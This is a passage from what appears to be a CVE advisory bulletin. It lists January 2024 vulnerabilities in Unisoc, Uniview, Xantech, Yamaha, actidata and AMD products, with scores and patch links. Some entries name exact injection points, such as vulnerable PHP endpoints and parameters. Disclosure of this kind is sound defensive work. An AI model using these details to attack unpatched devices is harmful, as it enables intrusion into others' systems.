Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2198
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2199

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48342		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2200
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2201
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T820-090224/2202
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T820-090224/2203

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T820-090224/2204
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T820-090224/2205
Vendor: uniview					
Product: isc_2500-s					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS	22-Jan-2024	9.8	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, has been found in Uniview	N/A	H-UNI-ISC_-090224/2206

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command ('OS Command Injection')			ISC 2500-S up to 20210930. Affected by this issue is the function setNatConfig of the file /Interface/DevManage/VM.php. The manipulation of the argument natAddress/natPort/natServerPort leads to os command injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251696. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced. **CVE ID : CVE-2024-0778**		
Vendor: xantech					
Product: wic1200					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Cross-Site Request Forgery (CSRF)	16-Jan-2024	8	A Cross-Site Request Forgery (CSRF) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could lead another user into executing unwanted actions inside the application they are logged in. This vulnerability is possible due to the lack of propper CSRF token implementation. **CVE ID : CVE-2024-0555**	N/A	H-XAN-WIC1-090224/2207
Weak Encoding for Password	16-Jan-2024	6.5	A Weak Cryptography for Passwords vulnerability has been detected on WIC200 affecting version 1.1. This vulnerability allows a remote user to intercept the traffic and retrieve the credentials from another user and decode it in base64 allowing the attacker to see the credentials in plain text. **CVE ID : CVE-2024-0556**	N/A	H-XAN-WIC1-090224/2208

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	A Cross-site scripting (XSS) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could store a malicious javascript payload in the device model parameter via '/setup/diags_ir_learn.asp', allowing the attacker to retrieve the session details of another user. **CVE ID : CVE-2024-0554**	N/A	H-XAN-WIC1-090224/2209
Vendor: Yamaha					
Product: wlx202					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary OS command may be executed and/or configuration	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	H-YAM-WLX2-090224/2210

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx212					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary OS command may be executed and/or	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	H-YAM-WLX2-090224/2211

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx222					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary OS command may	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	H-YAM-WLX2-090224/2212

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx313					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a result, an arbitrary	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	H-YAM-WLX3-090224/2213

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Product: wlx413					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	Active debug code exists in Yamaha wireless LAN access point devices. If a logged-in user who knows how to use the debug function accesses the device's management page, this function can be enabled by performing specific operations. As a	http://www.rtpro.yamaha.co.jp/RT/FAQ/Security/JVNVU99896362.html	H-YAM-WLX4-090224/2214

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			result, an arbitrary OS command may be executed and/or configuration settings of the device may be altered. Affected products and versions are as follows: WLX222 firmware Rev.24.00.03 and earlier, WLX413 firmware Rev.22.00.05 and earlier, WLX212 firmware Rev.21.00.12 and earlier, WLX313 firmware Rev.18.00.12 and earlier, and WLX202 firmware Rev.16.00.18 and earlier. **CVE ID : CVE-2024-22366**		
Operating System					
Vendor: actidata					
Product: actinas_sl_2u-8_rdx_firmware					
Affected Version(s): 3.2.03					
Missing Authentication for Critical Function	19-Jan-2024	9.1	Improper access control on nasSvr.php in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to read and modify different types of data without authentication.	N/A	O-ACT-ACTI-090224/2215

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-51947		
N/A	19-Jan-2024	7.5	A Site-wide directory listing vulnerability in /fm in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to list the files hosted by the web application. **CVE ID : CVE-2023-51948**	N/A	O-ACT-ACTI-090224/2216
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	19-Jan-2024	6.1	Multiple reflected cross-site scripting (XSS) vulnerabilities in nasSvr.php in actidata actiNAS-SL-2U-8 3.2.03-SP1 allow remote attackers to inject arbitrary web script or HTML. **CVE ID : CVE-2023-51946**	N/A	O-ACT-ACTI-090224/2217
Vendor: AMD					
Product: athlon_3000g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-ATHL-090224/2218

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: instinct_mi100_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-INST-090224/2219
Product: instinct_mi210_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-INST-090224/2220
Product: instinct_mi250_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-INST-090224/2221

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: instinct_mi300a_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-INST-090224/2222
Product: instinct_mi300x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-INST-090224/2223

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_instinct_mi25_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2224
Product: radeon_instinct_mi50_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2225
Product: radeon_pro_v520_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2226

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_pro_v620_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2227
Product: radeon_pro_w5500x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2228

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_pro_w5700x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2229
Product: radeon_pro_w6300m_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2230
Product: radeon_pro_w6400_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2231

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_pro_w6500m_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2232
Product: radeon_pro_w7500_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2233

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_pro_w7600_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2234
Product: radeon_rx_5300m_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2235
Product: radeon_rx_5300xt_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2236

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_rx_5300_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2237
Product: radeon_rx_5500m_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2238

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_5500xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2239
Product: radeon_rx_5500_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2240
Product: radeon_rx_5600m_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2241

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_rx_5600xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2242
Product: radeon_rx_5600_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2243

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_5700m_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2244
Product: radeon_rx_5700xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2245
Product: radeon_rx_5700_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2246

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_rx_6800xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2247
Product: radeon_rx_6800_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2248

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_6900xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2249
Product: radeon_rx_6950xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2250
Product: radeon_rx_7600xt_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2251

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: radeon_rx_7600_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2252
Product: radeon_rx_7700xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2253

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: radeon_rx_7800xt_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2254
Product: radeon_rx_7900xtx_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RADE-090224/2255
Product: radeon_rx_7900xt_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RADE-090224/2256

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_3_3200ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2257
Product: ryzen_3_3200g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2258

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_3200u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2259
Product: ryzen_3_3250c_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2260
Product: ryzen_3_3250u_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2261

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_3_4300ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2262
Product: ryzen_3_4300g_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2263

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_3_4300u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2264
Product: ryzen_3_5300ge_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2265
Product: ryzen_3_5300g_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2266

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Product: ryzen_3_5300u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2267
Product: ryzen_3_7320u_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2268

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
